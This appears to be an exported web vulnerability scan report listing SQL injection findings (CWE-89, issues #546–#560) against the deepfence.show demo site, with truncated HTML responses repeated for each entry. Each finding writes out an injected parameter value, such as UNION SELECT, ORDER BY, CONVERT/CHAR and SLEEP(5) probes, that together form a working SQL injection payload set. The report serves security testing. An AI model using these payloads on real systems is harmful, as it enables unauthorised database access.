cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #546
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 15--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #547
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #548
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+
CHAR(116)+CHAR(69)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #549
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1' GROUP BY 1,2,3--+ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #550
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 1=0 AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #551
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=
device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/
head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> 
window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of
Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://
static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> <
/script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link
rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWF
nZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoq
IkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary hints 
on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #552
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1*56
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #553
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or ""&"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #554
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #555
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #556
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)+CHAR(88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #557
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #558
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 2#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #559
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #560
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io&&SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
